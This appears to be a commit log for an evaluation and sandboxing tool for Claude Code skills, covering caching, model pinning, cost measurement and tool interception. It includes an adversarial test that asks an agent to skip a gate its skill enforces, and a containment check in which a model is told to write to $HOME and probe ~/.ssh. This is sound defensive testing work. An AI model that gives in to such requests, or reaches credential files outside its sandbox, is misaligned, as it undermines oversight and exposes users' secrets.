claude. Run with a key before relying on the spy.
* ci: behavioral eval gate scaffolding (inert until ANTHROPIC_API_KEY)
Addresses the original kicker — real-model evals never ran in CI, results
frozen as FINDING: comments. Adds .github/workflows/evals.yml with two jobs
from the cost model in docs/eval-architecture.md:
- eval-gate (pull_request): the cheap tier — the three shipped model-invocable
skills' trigger evals (stubSkillBodies, 1 trial) on a DATED model, --no-skip.
- eval-nightly (schedule + workflow_dispatch): the fuller drift tier you can't
amortize.
Both are INERT until enabled: every model step is guarded on the
ANTHROPIC_API_KEY secret, so with no secret (default + all fork PRs) it prints
a notice and exits 0 — never reds a PR. Turning it on is a deliberate
secret + budget decision.
Plumbing: `vigiles eval --model=<id>` → VIGILES_MODEL (sibling of --trials)
so the gate pins a dated model id honestly without changing library defaults;
the cheap trigger evals + tool-fake.eval.mjs now read process.env.VIGILES_MODEL.
* feat: warn when an eval cache rides a floating model alias
Closes the last piece of the honest-model-pinning gap (doc #3). A record/replay
cache keyed on a floating alias (haiku/sonnet, or claude-sonnet-4-6 with no
date) can serve a result computed against a since-changed model — hiding drift
behind a green replay.
- isDatedModel(id): a model is honestly pinned when it ends in an 8-digit date
stamp (claude-haiku-4-5-20251001); a bare alias or version is floating.
- runEvalWith emits a one-time warning (::warning:: under GITHUB_ACTIONS, else
stderr) when cache != off and the model is floating.
Tested: isDatedModel dated/floating, both warning branches (CI annotation +
stderr), and the dated-id no-warn path. eval.ts stays at the 100% gate.
* docs: document arg-match + tool-fake modules in CLAUDE.md Key Files
The repo convention is that every src module appears in Key Files. Adds
entries for src/arg-match.ts, src/tool-fake.ts, and src/tool-fake.test.ts
(the tool-call spy), then recompiles CLAUDE.md from the spec — integrity
hash valid.
* test: validate tool-fake spy against a real model (capture-under-deny works)
Ran the validation against claude-haiku-4-5-20251001. The model called Bash
with "git push origin main", the auto-wired PreToolUse fake-tool-hook denied it
(isError, "the git push didn't execute"), and the denied tool_use — WITH its
args — still landed in ctx.toolCalls, so toolWith matched. This confirms the
one assumption the unit tests can't reach: a denied tool's arguments are still
captured for toolWith/notTool, and the side effect is prevented.
Adjust the eval to assert the MECHANISM, not model obedience: strengthen the
prompt, 5 trials, and gate at min 0.2 — any non-zero rate proves capture works;
only a true regression (a flat 0 across every trial) fails. Records the finding
inline.
* docs: refresh eval comparison (public + internal) and positioning
The eval comparison material predated the shipped significance/cache/cost/
regression-gating work and the tool-call spy. Brought it current:
- research/eval-api-landscape.md (INTERNAL): the scorecard's vigiles column
was marked ✗ on significance/caching/cost/concurrency/regression-gating —
all shipped. Rewrote it to shipped reality, added rows for the no-model
cheaper tiers, the intercept-and-prevent tool spy, and the regression gate;
noted the inert-until-keyed CI eval gate. Three bolded-unique rows now name
the defensible core honestly.
- docs/harness-testing.md (PUBLIC): broadened the promptfoo-only section into
a promptfoo/DeepEval/Braintrust/Inspect table; added the safety-intercept
and no-model-tier rows; pointed to the internal landscape doc.
- README: added one line on the safety property (notTool + fakeTools catch a
push-to-wrong-branch / paid-API attempt and prevent the side effect).
Positioning audit: README front door + internal scorecard now current; the
spy modules are already in CLAUDE.md Key Files.
* fix: harden eval cache invalidation (dir contents, tool-set, version salt)
Research-backed (research/cache-invalidation.md, synthesizing Bazel/Turborepo/
Nx/ccache/Jest/webpack + promptfoo/LangChain/Helicone). Fixes the confirmed
false-replay bug and two phantom-miss/staleness gaps, ranked by severity:
1. pluginDir contents weren't in the key (THE bug): a native --plugin-dir was
passed to the run but its files were never hashed, so editing a skill in it
false-replayed. hashDir() folds a sorted relativePath:contentHash list into
the key (content not mtime; path-included). Flat sorted list, not a Merkle
tree — over-engineering at plugin-dir scale.
2. Tool list now hashed as a SET (sorted) so a reordered allowlist isn't a
phantom-distinct key. (canonical() already sorted object keys, so no
stable-stringify dependency is warranted.)
3. CACHE_FORMAT_VERSION salted into the key (Jest/webpack pattern) so a record
format change makes old entries unreachable — no brittle read-time gate.
Model drift on a floating alias stays warn-only (the dated-id pin is the sound
fix; can't auto-resolve without an API call). Eviction/TTL deferred as disk
hygiene, not invalidation correctness — rationale in the research doc.
Tests: hashDir (edit/add/rename/skip-junk), tool-set order-insensitivity,
pluginDirHash sensitivity, and an end-to-end runEvalWith test proving a
pluginDir content edit busts the cache. eval-cache.ts/eval.ts stay at 100%.
* ci: let the eval gate run on a Claude subscription, not just an API key
The affordability bet: vigiles drives the real `claude` CLI, so an eval
authenticates like the user's own CLI — including a Pro/Max SUBSCRIPTION (flat
cost), not metered API billing. (Confirmed empirically: a validation run
reported apiKeySource:"none", i.e. it ran on the session's OAuth subscription.)
Both eval jobs now accept CLAUDE_CODE_OAUTH_TOKEN (subscription, via
`claude setup-token`) OR ANTHROPIC_API_KEY (metered fallback), and stay inert
until one is present. Header documents the subscription as the cheap path.
* docs: isolated-vs-whole-harness eval decision (research of record)
Decision: support BOTH as tiers — default isolated (cheap authoring loop),
add a whole-harness install-set arm as the release gate, plus a near-neighbor
middle tier on the existing ncd engine.
Why: skill selection is competitive and Claude Code evicts least-used skill
descriptions under a context budget (skillListingBudgetFraction), so isolated
trigger-rate overstates recall and understates false-positives. Every existing
tool (promptfoo, Anthropic skill-creator, AWS, OpenAI) isolates; none populate
the install set — a genuine wedge for "test the harness as it ships". Captured
in research/isolated-vs-whole-harness-eval.md; roadmapped in eval-architecture
(item 7). Also updated the eval-gate roadmap note for the subscription-token
auth path.
* feat: whole-harness trigger-rate tier (installSet) + honest isolated labelling
Implements the isolated-vs-whole-harness decision (research/isolated-vs-whole-
harness-eval.md). measureTriggerRate stays isolated by default (cheap authoring
loop); a new `installSet` co-installs the skill-under-test alongside the user's
real skills so it competes for selection as it does in the shipped harness — the
release-gate tier no other eval tool offers.
- TriggerRateSpec.installSet: plugin dirs or loose skills dirs merged into one
install under the under-test plugin's name (under-test wins a name collision,
so its <name>:<skill> id still matches `fired`). packageInstallSet +
collectSkillsSource + copySkillsInto, pure/tested, cleans up on any error.
- TriggerRateReport.competitors: count of co-installed competitors. 0 = isolated.
- formatTriggerRateReport now labels honestly: an isolated run prints that recall
is an UPPER bound and false-positive a LOWER bound (selection is competitive);
a whole-harness run prints the competitor count.
Tests cover the merge (skills/ + .claude/skills/ sources, collision, stub,
missing-source + empty-under-test throws, junk-skip), both report labels, and
installSet from pluginDir + skillsDir. eval.ts stays at the 100% gate.
* docs: lead README with affordability; correct the evals-in-CI framing
- README: affordability is now an explicit theme — most harness questions are
answered with no model (free, every commit), and a real-model eval rides the
user's Claude Pro/Max SUBSCRIPTION (vigiles drives the `claude` CLI), not
metered API billing like API-SDK-based tools. States plainly that evals don't
run in CI by default.
- research/isolated-vs-whole-harness-eval.md: fixed the "nightly/release gate"
wording that wrongly implied a default CI cadence. Clarified that evals are
not in CI by default (the per-PR CI is the free deterministic tiers; the eval
workflow is inert until you add a token); "release gate" = run deliberately
(locally on the sub, or opt-in nightly).
* fix: make the eval CI gate fail on a non-run or a corrupt cache
Two silent-pass holes the eval gate could slip through — closed so a green
eval job actually means evals ran and the cache was sound:
1. Evals never executed. `vigiles eval`/`test` gained `--min=N`: assert at least
N scripts actually matched/ran, else exit 1 loudly. A renamed file, a bad
path, or a glob matching nothing previously printed "No files found" and
exited 0 — a hidden gap. evals.yml now passes --min=3 (the gate's three
listed evals) and --min=1 (nightly), alongside the existing --no-skip.
2. Cache fails. readCache now THROWS on a corrupt record (file present but
invalid JSON) instead of swallowing it and silently re-running. A broken
cassette is a real failure the gate must surface; a true miss (no file)
still returns null and proceeds normally. Message says how to recover.
Tests: cli.test --min (0 matched / too-few / enough), eval-cache corrupt→throws
vs miss→null. eval-cache.ts stays at the 100% gate.
* fix: trigger-rate on Sonnet (not haiku) + count sibling skills as competitors
Dogfooding the three shipped skills on the subscription found two real bugs:
1. Gate model. All three skills "failed" recall on haiku (test-harness 0.50,
edit-spec/strengthen 0.70) — but on Sonnet test-harness scores 0.90 and
passes. Trigger-rate is a SELECTION measurement and haiku is a much weaker
selector, so a haiku gate false-fails skills that fire fine on the model
users run. measureTriggerRate now defaults to "sonnet" (matching measure);
evals.yml pins claude-sonnet-4-6 for the gate; docs corrected. The skill
descriptions were never the problem.
2. competitors miscount. The honest-label counted only installSet additions, so
a multi-skill plugin (the dogfood installs all of vigiles' skills) printed
"isolated: no competing skills" while ~5 siblings were actually competing.
Now competitors = (skills in the resolved install pool) − 1, via countSkills,
so siblings count and a real single-skill install still reads 0/isolated.
packageInstallSet's return renamed competitors→added (installSet delta).
Tests: sibling-competitor count, packageInstallSet `added`. Recorded the
haiku-vs-Sonnet FINDING in test-harness.trigger.eval.mjs. eval.ts at 100% gate.
* feat: model-per-arm (Q1) + save model/isolation eval decisions
Q1 (model strategy) — agreed + built:
- EvalArm.model: a per-arm model override. A model comparison IS a harness A/B,
so "does my harness hold on the cheaper tier / after a model upgrade?" is
arms: { sonnet: {model}, opus: {model} } read through the existing
significance machinery — no separate multi-model matrix runner (that's the
cost-multiplying promptfoo lane we avoid). measureTriggerRate stays
single-model by design.
- Default stays Sonnet (the realistic selector), per the dogfood finding.
Q2 (isolation) — agreed: keep TWO tiers (in-plugin by default = honest sibling
competition; installSet for the whole harness). Do NOT build per-skill isolation
machinery (it produces the LESS honest number others default to). Already shipped;
no new code.
Saved research + conclusions: docs/eval-architecture.md gains a "Model strategy"
section (default Sonnet w/ the 0.50-haiku-vs-0.90-Sonnet dogfood evidence,
model-as-arm, no matrix, the deferred model-floor); the isolation
research/decision is in research/isolated-vs-whole-harness-eval.md.
Validated on the subscription: the corrected Sonnet gate is GREEN (3/3 skills
≥0.8) and the competitors label now reads "whole-harness: 4 competing skills".
* feat: runtime model floor for trigger-rate (default Sonnet) + gate on alias
The "set a floor for all skills" ask, solved without a (brittle) static linter:
a RUNTIME floor enforced in the eval library catches the env-var model a lint
can't see — which is exactly how the haiku footgun entered.
- modelTier(id): rank by family (haiku<sonnet<opus; version ignored), null for
an unrecognized family so the floor never blocks a model it can't judge.
belowModelFloor(model, floor): fail-open on unknowns.
- TriggerRateSpec.minModel (default "sonnet", resolves minModel → VIGILES_MIN_MODEL
→ "sonnet"). measureTriggerRate FAILS before spending a token if the resolved
model is below the floor — so one knob (VIGILES_MIN_MODEL / --min-model) sets
the floor for ALL skills, no per-file annotation, no linter. Lower it
deliberately for a cheap run. Decision: FAIL (not warn) — the floor is a
contract; the escape hatch is lowering it.
- CLI: `vigiles eval --min-model=ID` → VIGILES_MIN_MODEL.
- Gate model switched claude-sonnet-4-6 → the `sonnet` ALIAS: the per-PR gate
runs cache-off, so it should track current Sonnet without churn; dated/exact
ids matter only for cached/baselined reproducibility (kept on that path).
Tests: modelTier/belowModelFloor (families + fail-open), floor throw at default
+ VIGILES_MIN_MODEL, and the lower-floor escape hatch. eval.ts at 100% gate.
* refactor: remove model envs + the speculative evals.yml CI workflow
Acting on review: neither was asked for, and both were the wrong layer.
- Removed VIGILES_MODEL / --model and VIGILES_MIN_MODEL / --min-model. Model is
part of the measurement DEFINITION (a different model = a different result), so
it belongs in the spec (`model`/`minModel`, version-controlled), not a hidden
CLI/env override. Contrast VIGILES_TRIALS, a legit run knob (cost/precision,
doesn't change what's measured) that PRE-DATES this work — kept. The dogfood
evals now omit `model:` and rely on the Sonnet default + the minModel floor.
- Removed .github/workflows/evals.yml. Real-model evals don't belong in a
standalone GitHub Actions workflow needing a metered/sub-token secret: CI runs
the FREE deterministic tiers (ci.yml, no token), and the real-model eval runs
where the subscription already is — a Claude Code session or locally (vigiles
drives the `claude` CLI). The eval-robustness work (--min, --no-skip,
corrupt-cache throw, Sonnet model floor) stays — it hardens `vigiles eval`
wherever it runs.
Docs reframed accordingly (eval-architecture kicker + roadmap, README, the two
research docs): deterministic tiers in CI, evals on the sub in a session.
eval.ts at the 100% gate; 974 tests pass.
* docs: consolidate positioning + pros/cons of the eval approach
Per review — the competitor scorecard, caching research, isolation decision, and
model strategy were all saved, but the POSITIONING + pros/cons were scattered
across README/kicker. Added a dedicated "Positioning & pros/cons" section to the
eval-architecture design-of-record: the affordability thesis (free deterministic
tiers + sub-priced real-model tier vs competitors' per-token-every-run), the
pros (cost/fidelity/honesty) and the honest cons (sub rate limits, non-determinism,
intercept≠mock, sonnet-not-haiku, not-a-CI-checkbox, no dataset/red-team/UI), with
links to the four supporting research docs.
* fix: key the eval cache on the harness binary version (fast-evolution edge)
You were right — the cache wasn't tested/keyed against fast model/harness
evolution. Closing it:
- harnessVersion (`claude --version`, memoized, cache-path only) is now in the
cache key. A CLI upgrade changes the system prompt + tool defs — which steer
behaviour as much as the model — so a cached result now INVALIDATES across a
`claude` upgrade instead of silently replaying a result from a different
harness. Trade-off (frequent patch invalidation) documented; re-scoring within
a session is unaffected (version stable then).
- cacheKey test now actually covers model / settings / env / harnessVersion
changes (it previously asserted "any input" but skipped several, incl. model).
- research/cache-invalidation.md gains a "Fast-evolution edges" section: harness
version (keyed), model-alias re-point (warned, can't auto-invalidate without a
weight hash), and modelTier new-family fail-open (a documented known limit).
eval-cache.ts/eval.ts stay at the 100% gate.
* docs: positioning into CLAUDE.md (canonical) + consistency pass
Point 3 — positioning belonged in the positioning source, not buried in
eval-architecture.md:
- CLAUDE.md ## Positioning (pillar 2) now states the affordability thesis: free
deterministic tiers + a real-model tier that runs on the Claude Pro/Max
SUBSCRIPTION (vigiles drives the `claude` CLI, no metered API), measured on the
realistic selector (Sonnet, minModel floor), model-in-spec not env. Recompiled.
- eval-architecture's pros/cons section now points to CLAUDE.md as canonical and
keeps only the detail.
Gap #4 — refreshed the stale `src/eval.ts` Key Files entry (model-per-arm,
minModel floor + modelTier, installSet whole-harness tier + competitors,
harnessVersion in the cache key, Sonnet default).
Gap #2 (consistency pass, you approved) — the "knobs" / "match-the-mechanism" /
reconciliation sections no longer claim evals run in `every-PR` CI on `haiku`:
deterministic tiers are every-commit CI, the real-model eval is run on-demand on
the sub (Sonnet). Fixed the decision table + the reconciliation bullets too.
Gap #3 — documented the shipped trigger-rate knobs in the user guide
(harness-testing.md): Sonnet default + minModel floor, isolated-vs-whole-harness
`installSet` + the `competitors` count, and model-per-arm for cross-model A/B.
* feat: key cache on harness major.minor, automate stubSkillBodies, exhaustive cache tests + near-neighbor roadmap
Acting on review:
- Claude version granularity: key the cache on the harness MAJOR.MINOR, not the
patch (harnessVersionKey: "2.1.179 (Claude Code)" → "2.1"). A patch rarely
changes behaviour, so keying patches would churn the cache every release for no
signal; a minor/major bump is where the system prompt actually moves. Documented
the trade-off (a known-behavioural patch → clear cache / bump CACHE_FORMAT_VERSION).
- stubSkillBodies is now AUTOMATIC for measureTriggerRate (default true): testing
a description never needs the body (trigger is a frontmatter property decided
before the body loads), so it's not a knob you must remember. Set false only to
run the real body. Updated the 4 fake-pluginDir tests to stubSkillBodies:false
(passthrough), which also keeps the non-stub branch covered.
- Cache tests are now EXHAUSTIVE: one assertion per CacheKeyInput field, plus
explicit VERSION axes — two model snapshots (sonnet-4-6 vs -4-5) and two harness
minor versions each produce a different key. + harnessVersionKey unit test.
- Roadmap: added the near-neighbor trigger-rate tier (NCD-nearest competitors) to
Next, priority P3 (MED-LOW) — decided, deliberately deferred.
(Consistency gaps #2/#3/#4 shipped in 74fc151.) eval.ts/eval-cache.ts at 100% gate; 975 tests.
* feat!: rename fakeTools -> interceptTools (intercept-and-prevent, not a mock)
The tool-fake feature does intercept-and-prevent (a PreToolUse hook denies the
call via exit-2), not fake-a-return-value. The "fake" name wrongly implied a
mock that substitutes a result and continues, requiring two JSDoc corrections
to undo. Rename to carry the real semantics.
BREAKING CHANGE: the vigiles/eval spec field `fakeTools` is now `interceptTools`
(on EvalArm and MeasureSpec); the `FakeTool` type is `ToolIntercept` and its
`result` field is `denyReason`. The `vigiles fake-tool-hook` CLI subcommand is
now `intercept-tool-hook`. Pre-1.0, but signalled for a correct changelog.
Keep toolWith/notTool (clearer than competitors) but add promptfoo/DeepEval
cross-references to their JSDoc and a "vigiles check <-> promptfoo assertion"
mapping to research/promptfoo-deep-dive.md, noting notTool/interceptTools as
the restraint-assertion gap a completion-grading eval cannot cheaply express.
* docs: add safety model front-door doc (confinement + tool interception)
docs/sandboxing.md covers host confinement for hook/plugin code but not the
eval-tier risk — a real model deciding to call a side-effecting tool. Add
docs/safety.md as the front door tying the whole model together: the two
risks (foreign code vs the model's actions), the two mechanisms (bwrap
confinement vs interceptTools/notTool PreToolUse deny), the one safe-by-default
fail-closed rule, the per-tier confinement table, and the honest gaps. Answers
"why not confine everything" by pointing at the four-reason argument in
sandboxing.md. Referenced from README + sandboxing.md (not an orphan).
* docs: decide cross-platform sandboxing (macOS via sandbox-exec) + save the verify-sandbox-config idea
Mac support is a hard requirement (large dev population), and the claude binary's
own sandbox can't cover us (Bash-only, skips hooks, no external API, CC-only).
Record the decision: a vigiles/os-isolation port with a native backend per OS —
keep bwrap+nft on Linux (strongest, packet-layer), add sandbox-exec/Seatbelt on
macOS (built-in, zero deps, deny-all-net). Per-host egress stays Linux-only;
macOS degrades honestly. srt/nono are documented fallbacks, not the default;
Birdcage is reference-only (GPL/binary-net).
Also clarifies the enabled/disabled model (provenance, not platform: your code
runs direct, foreign code is confined-or-refused — the Mac backend makes the
safe option available so nobody is forced to sandbox:false), and parks the
"verify & test the harness's own sandbox config" idea (the network-validation
wedge: valid-is-not-true for sandbox policy). Roadmap + sandboxing.md updated;
not an orphan.
* docs: add the ephemerality axis — running a model-driven skill is a side effect, independent of trust
Correct the safety model: provenance governs CONFINEMENT (host protection), but
EPHEMERALITY (state protection) is unconditional — a skill/agent is model-driven,
so even a plugin you wrote produces nondeterministic side effects when run. Trust
does not make a run side-effect-free.
Classify side effects by reversibility: local-reversible -> ephemeral CWD (already
done); escapes-CWD (~/.gitconfig, ~/.ssh) -> ephemeral HOME + scrubbed env (the GAP:
the direct/non-bwrap path inherits process.env + real HOME); external -> deny/allow
net; irreversible (push, charge) -> interceptTools/notTool (can't un-push by
discarding a box). Ephemerality needs no kernel features, so it lands on macOS
today, ahead of Seatbelt — the cheapest cross-platform side-effect protection.
safety.md + cross-platform-sandboxing.md + roadmap (HIGH) updated.
* docs: positioning — behavioral/side-effecting testing + cross-platform (Mac+Linux); fix phantom issue refs
Positioning (CLAUDE.md): name BEHAVIORAL, side-effecting eval of the assembled
harness as the apex of pillar 2 (highest value, kept thin; notTool/interceptTools
ship today, the ephemeral run env + disposable-dep provisioning are the committed
next step). Add a "Cross-platform by requirement (macOS + Linux)" paragraph: native
backend per OS behind a vigiles/os-isolation port, and the two orthogonal axes
(provenance-keyed host protection vs unconditional ephemeral state protection).
Fix: the declared-vs-enforced anchor cited as Claude Code #54898 could not be
verified; replace every occurrence with the real anchors (Claude Code #4740/#21460,
claude-agent-sdk-typescript #172) across agent-runtime, cli, the spec, and research.
A reference-checking tool should not ship a phantom reference.
* docs(research): save the mid-2026 subagent-demand + skill-eval-landscape findings
subagent-compilation.md: ranked issue-survey demand evidence (declared!=enforced
anchored to #4740/#21460/SDK #172; orchestration/output-contract/dispatch/MCP/
observability/model/determinism/firing/nesting themes), the authoring+observability
tooling table (almost no verification/testing tool exists), Codex-vs-CC delta
(enforcement is Claude-Code-shaped -> Codex non-goal confirmed), honest map-to-vigiles.
skill-eval-landscape.md: how labs + practitioners actually eval skills — Anthropic
skill-creator + "Demystifying evals", OpenAI's Codex eval guide, the two Reddit
harnesses (SkillBenchmark blind-judge A/B+CIs on Caveman; the "SKILL.md is a
contract" methodology harness incl. the adversarial-gate finding), Spence/dbt/
Husain/Schmid. Gap verdict: behavioral skill eval is now TABLE STAKES; vigiles's
moat is the intersection (whole assembled harness + subscription affordability +
statistical rigor + the deterministic runHook tier + the eval->enforce bridge).
promptfoo-deep-dive.md: promptfoo acquired by OpenAI (~$86M) + DeepEval v4 agentic
harness; sharpens the vendor-neutral, subscription-not-metered positioning.
eval-api-landscape.md: new competitors (TribeAI/claude-evals metered; paultyng/
testagent CLI-fake) + statistical-rigor confirmed as a differentiator.
* docs: native input/output/cache token+cost measurement decision + behavioral-umbrella clarification
eval-architecture.md: (1) state explicitly that behavioral/side-effecting eval (the
ephemeral integration tier) is the UMBRELLA and the adversarial-gate test is one
member, not a replacement — with the eval->enforce bridge (pillar 2 hands off to
pillar 1 when a prose gate caves); (2) decide native token/cost support split by
class (input/output/cache) — the tokens() check collapses input+output and cache
tokens aren't captured, so a single total can bless a net-negative change (Caveman
cut output yet 2-4x'd cost). Plan: extend UsageTrace to all token classes,
first-class inputTokens/outputTokens/cacheTokens checks, and an A/B delta-per-class
gated by Welch significance. Added both to the ranked roadmaps (HIGH).
* feat: native input/output/cache token measurement + per-class checks
A harness change trades tokens across sides (a skill/CLAUDE.md injection adds
INPUT every turn; a "compression" skill cuts OUTPUT), so a single total can bless
a net-negative change — SkillBenchmark's Caveman cut output yet 2-4x'd cost. Split
the usage model into honest classes and gate on them separately.
- EvalUsage + UsageTrace gain cacheCreationTokens + cacheReadTokens (parsed from
the claude result usage: cache_creation_input_tokens / cache_read_input_tokens);
inputTokens stays the FRESH (uncached) input. ArmUsage + aggregateUsage sum the
two cache totals.
- New vigiles/check checks: inputTokens({max}), outputTokens({max}),
cacheTokens({maxCreation?, maxRead?}) beside the existing tokens/cost/latency.
Exposed on ctx.usage so an A/B delta-per-class rides the existing mean±se /
Welch-significance machinery for free.
- Dogfood: skill-compression.eval.mjs now measures input AND output (cache reads
~0.1x input, writes 1.25x), so the compression claim is verified on both sides.
Tests: pure pass/fail/score/message/toJSON for each new check; usageFrom parses
the cache fields (0 when absent); aggregateUsage sums the cache totals.
* docs: record real-haiku FINDING in the compression eval — cost metrics work, cache dominates
Ran the compression dogfood on real haiku (3 trials/arm, on the Pro/Max
subscription, apiKeySource:"none", $0.1057). Captures the end-to-end result as a
FINDING: total_cost_usd + input/output + cache tokens all populate from a real run;
inputTokens read ~42/run (the uncached remainder) vs ~2.4-2.7k real volume — the
rest is cache reads, so a single input/total understates economics ~50x here. The
cache classes are where the volume lives (vindicates the split). The compression
claim did not hold on this task/model (output +11%, cost +$0.002, correctness
intact) — the headline-% failure mode the eval exists to catch.
* feat: adversarial-gate dogfood eval + the eval->enforce bridge
The highest-value behavioral test for an enforcement skill: adversarially ask the
agent to skip the gate the skill is supposed to enforce, and assert it REFUSES.
- examples/harness/dogfood/adversarial-gate.eval.mjs (write-don't-run): an inline
SKILL.md states a measurement gate (no benchmark without a baseline; refuse if
asked to skip), the task adversarially asks to skip it, and two composed checks
assert refusal — notTool (didn't run the forbidden command) + output (pushed
back in prose), gated by assertRates({min:0.7}). No new check primitive: the
pattern is the existing vocabulary composed inline (no gold-plating).
- docs/eval-architecture.md + docs/safety.md: document the eval->enforce BRIDGE —
pillar 2 (eval) MEASURES whether a prose gate holds; when the adversarial test
shows it caves, pillar 1's deterministic PreToolUse rail is the FIX. Eval hands
off to enforcement; nobody else connects the two.
* feat: ephemeral run environment foundation (pure builder + opt-in flag, default OFF)
Running a model-driven skill mutates state regardless of trust (the model, not the
author, chose the actions), but the eval tier inherits the full real environment —
a model-driven git push / write to ~ uses the real $HOME, ~/.gitconfig, ~/.ssh,
~/.aws. Add the foundation to close that, behind an opt-in flag, default OFF so the
eval tier's own auth can't silently break before a real-run validation.
- ephemeralRunEnv(base, { home, allow }) — pure, exported, no fs/spawn: sets
HOME+TMPDIR to a throwaway dir, passes through an auth+runtime allowlist (mirrors
the runtime port: PATH/LANG/TERM/ANTHROPIC_*/CLAUDE_*/LC_* + region/profile so a
Bedrock/Vertex-backed claude still authenticates), DROPS everything else
(GIT_*/GH_TOKEN/SSH_*/AWS secret keys + any non-listed var). Conservative by
design: when unsure, allow (a too-narrow allowlist breaks auth).
- EvalSpec.ephemeralEnv?: boolean (default off). When on, executeTrial mkdtemps a
throwaway HOME under the trial cwd and builds the scrubbed env; AgentRunArgs gains
replaceEnv so spawnAgent uses a.env as the COMPLETE env. When OFF, the env path is
byte-identical to before (asserted by a test).
The cross-platform state-protection floor (needs no kernel features → lands on
macOS now). Flipping the default to on waits for a real-auth validation pass; two
honest follow-ups noted in code (AWS static-key auth, cache+ephemeral key interaction).
* docs: validate ephemeral-env auth survival (env-var path works; file-based ~/.claude is the gap)
Ran a real-model check (haiku, ephemeralEnv: true) on the subscription: the run
authenticated through the scrubbed throwaway HOME — exit 0, $0.003, output "OK.",
cache read ~21.7k tok (caching unaffected). So the env-var auth path is validated:
the credential rides an allowlisted ANTHROPIC_* var that survives the scrub.
Remaining gap before flipping the default on: this only covers env-var auth. A
subscription credential that lives only in ~/.claude/.credentials.json (a file
under HOME) would be lost when HOME is scrubbed — ephemeralRunEnv injects env
vars, not the credential file. Safe default-on needs injecting the harness's own
credential file into the throwaway HOME. Flag stays opt-in until then.
* feat: complete the opt-in ephemeral run env (auth-file injection + cache-safe) + validate containment
Finish the ephemeral-run-env opt-in path (still default OFF):
- seedEphemeralHome copies a minimal auth allowlist (EPHEMERAL_HOME_KEEP =
[".claude/.credentials.json"], copy-not-symlink so the run can't write back) from
the real HOME into the throwaway HOME when present, so local file-based OAuth
survives the scrub; .gitconfig/.ssh/.aws are never carried.
- cache-safety: HOME/TMPDIR excluded from the eval cache key (CACHE_KEY_ENV_EXCLUDE),
so the random throwaway HOME no longer makes every ephemeral run a cache miss;
non-ephemeral keys unchanged (surgical, not a blanket env drop).
Validated state protection end-to-end on the real subscription (haiku, ephemeralEnv:
true, the run told to write $HOME/PROOF.txt + probe ~/.ssh): real $HOME untouched
(write landed in the throwaway HOME) AND the run still authenticated (exit 0,
$0.0083). Containment holds; auth survives via the host-brokered CLAUDE_* allowlist.
Default stays OFF: this host-brokered env can't run-test the file-based
~/.claude/.credentials.json OAuth modality (no credential to exercise; no sandbox
mints a real token), so the credential-file injection is unit-tested for the copy
logic but not e2e-validated. Flipping default-on (a behavior change for every eval)
waits on a local-file-auth user validating that path; then it's a one-liner.
* docs: phased design for the vigiles/os-isolation port + Seatbelt backend
Grounded implementation plan over the existing sandbox core (design of record, not
yet built): the narrow port interface (NetPolicy tagged union / FsPolicy /
IsolationCapabilities / OsIsolationBackend), the core-vs-backend layout, the
per-backend capability matrix, the Seatbelt backend shape (sandbox-exec + minimal
SBPL profile), the eslint-plugin-boundaries enforcement (only backends name a raw
primitive, dogfooded via enforce), and a 4-phase migration that keeps the 997-test
suite green at each step (extract+move bwrap behind the port with ZERO behaviour
change -> add Seatbelt -> wire selection + lint -> fold in ephemeral env).
Surfaces the sharp limitation honestly: Seatbelt (deny network*) blocks localhost
too, so bwrap's co-launched-mock-over-loopback trick has no Mac equivalent
(loopbackNet:false) — a trusted spec runs direct, an untrusted-needs-mock spec
refuses. Per-host egress stays Linux-only; srt and CC's built-in sandbox stay out.
Linked from the roadmap (HIGH).
* docs: consolidate eval coverage/isolation into one source of truth (R1+R2 owned, R3 composed)
Add research/eval-coverage-and-isolation.md as the authoritative doc: the three-rung
model (R1 cheap/deterministic — nothing executes; R2 record-replay — a tool/MCP/API
result recorded once from the real tool and replayed via a fake binary on PATH, never
model-synthesized; R3 real disposable service whose semantics IS under test), the
blended+scrubbed coverage distribution (R1+R2 ~90%+ with no Docker on the sub; R3 a
thin apex — browser/DB/redis), the honest e2e landscape (every benchmark/lab/Inspect
runs e2e in a container; no containerless reproducible e2e exists), the
safety/viability/performance axes + non-goals, the competitor comparison, and a
reusable rung-classifier prompt.
Make the chosen approach crystal-clear in CLAUDE.md positioning (R1+R2 owned on the
sub; R3 composed-with-a-container, not reinvented), docs/eval-architecture.md
(Coverage & scope section), README (public), and the roadmap (the R2 enabler ranked
ahead of testcontainers + a dogfood/COVERAGE.md item). Use standard terminology
(PATH-shim + record-replay/VCR), not a coined name. Scrubbed — no private-source
identifying details; conclusions blended with the community/landscape data.
* feat: R2 tool-stub / PATH-shim helper (record-replay a tool result, no service, no Docker)
The R2 enabler from the coverage model: test a skill whose logic consumes a tool's
RESULT by shadowing the binary on PATH with a fake that emits a recorded/canned
output — standard PATH-shimming + VCR-style replay, not a novel approach. Unlocks
the ~43% R2 surface with no live service and no Docker (ranked ahead of any
testcontainers work).
- src/tool-stub.ts: ToolStub + renderToolStub/writeToolStubs/stubBinDir. Each stub
is a self-contained POSIX script that base64-decodes its canned bytes straight to
stdout (base64's alphabet can't contain a shell metacharacter → injection-proof
for any fixture content; piping preserves trailing newlines that command-subst
would strip). Stubs are author/recorded fixtures, NEVER model-synthesized
(drift → false confidence). argv-matching + record-from-real are documented
follow-ons.
- EvalSpec.stubs wired into executeTrial: a bin dir under the trial cwd is prepended
to PATH for BOTH the ephemeral and legacy env paths; absent stubs = byte-identical
(no default flipped, ephemeralEnv stays off).
- Exposed via vigiles/testing + a ./tool-stub subpath export.
- harness-test tier wiring left as a documented TODO (it routes through the
per-harness driver seam — out of MVP scope).
Tests: faithful round-trip of shell-special content incl. trailing newlines; PATH
prepend on both env paths; absent-stubs unchanged. 1007 passed / 11 skipped.
* test: dogfood the three vendored plugins + per-plugin COVERAGE.md scorecards
Prove how much of real plugins the cheap tiers actually cover. 9 model-free,
CI-runnable tests (vendor-coverage.test.ts) across the three vendored plugins —
OMC keyword-detector R1 fire/no-fire (the free floor under the bwrap-gated egress
copies), scan structural facts + the wshobson inherits-all footgun on the scan
report, superpowers session-start R1 (fallback) + R2 (reconstructed plugin root
injecting the real skill body), and the canonical R2 stubBinDir demo (shadow npm
on PATH to drive find-polluter.sh's real bisection to completion, no live service).
Per-plugin COVERAGE.md scorecards (rung table + distribution + grade + R3 shortlist
+ honest verdict), placed beside the pinned snapshots (never inside them):
- oh-my-claudecode: ~60% free / ~33% model-gated / ~7% R3 — B+
- superpowers: ~50% free / ~50% model-gated / ~0% R3 — B (a prose library is
half behavioral, only measurable with a model)
